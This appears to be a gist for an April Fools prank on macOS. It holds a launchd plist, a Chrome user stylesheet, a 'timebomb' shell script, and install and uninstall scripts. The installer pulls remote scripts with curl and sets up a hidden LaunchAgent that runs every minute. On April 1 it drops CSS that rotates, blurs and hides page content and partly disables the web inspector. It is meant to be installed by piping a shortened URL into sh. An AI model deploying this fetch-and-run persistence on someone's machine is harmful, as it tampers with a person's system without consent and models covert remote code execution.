com.fools.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.fools</string>

  <key>EnableGlobbing</key>
  <true/>

  <key>ProgramArguments</key>
  <array>
    <string>~/.fools.sh</string>
  </array>

  <key>StartInterval</key>
  <integer>60</integer>

  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Custom.css

body { -webkit-transform: rotate(10deg); }
body { -webkit-animation: blur 30s infinite; }
img { -webkit-transform: rotate(180deg); }
body, p, body p, body div p { font-family: 'Comic Sans MS', cursive !important; }
p:before { content: "YOLO "; }
p:nth-child(2) { display:none !important; }
#-webkit-web-inspector { -webkit-transform:rotate(180deg); }
#-webkit-web-inspector .toolbar-item.close-left { display:none !important; }
html { -webkit-animation: rainbow 8s infinite; }
@-webkit-keyframes blur {
  0%   { -webkit-filter: blur(0px); }
  49%   { -webkit-filter: blur(0px); }
  50%   { -webkit-filter: blur(1px); }
  51%   { -webkit-filter: blur(0px); }
  100%   { -webkit-filter: blur(0px); }
}
@-webkit-keyframes spin {
  0%   { -webkit-transform: rotate(0deg); }
  100%   { -webkit-transform: rotate(360deg); }
}
@-webkit-keyframes rainbow {
  100% { -webkit-filter: hue-rotate(360deg); }
}

fools.sh

#!/bin/bash
now=`date +"%m-%d"`
fools='04-01'

# Stage the css file for the attack.
if [[ ! -a /tmp/Custom.css ]]; then
  curl -sL raw.github.com/gist/5278662/Custom.css > /tmp/Custom.css
fi

# If it's april fools move the attack into place.
if [[ $now == $fools ]]; then
  mv /tmp/Custom.css ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
fi

install.sh

# Create timebomb in ~/.fools.sh
curl -sL raw.github.com/gist/5278662/fools.sh > ~/.fools.sh
chmod a+x ~/.fools.sh

# Create launchd plist in ~/Library/LaunchAgents and load it.
curl -sL raw.github.com/gist/5278662/com.fools.plist > ~/Library/LaunchAgents/com.fools.plist
launchctl load ~/Library/LaunchAgents/com.fools.plist

uninstall.sh

rm ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
rm ~/.fools.sh
launchctl unload ~/Library/LaunchAgents/com.fools.plist
rm ~/Library/LaunchAgents/com.fools.plist

install with curl -sL bit.ly/aprilcss | sh

uninstall with curl -sL bit.ly/undoaprilcss | sh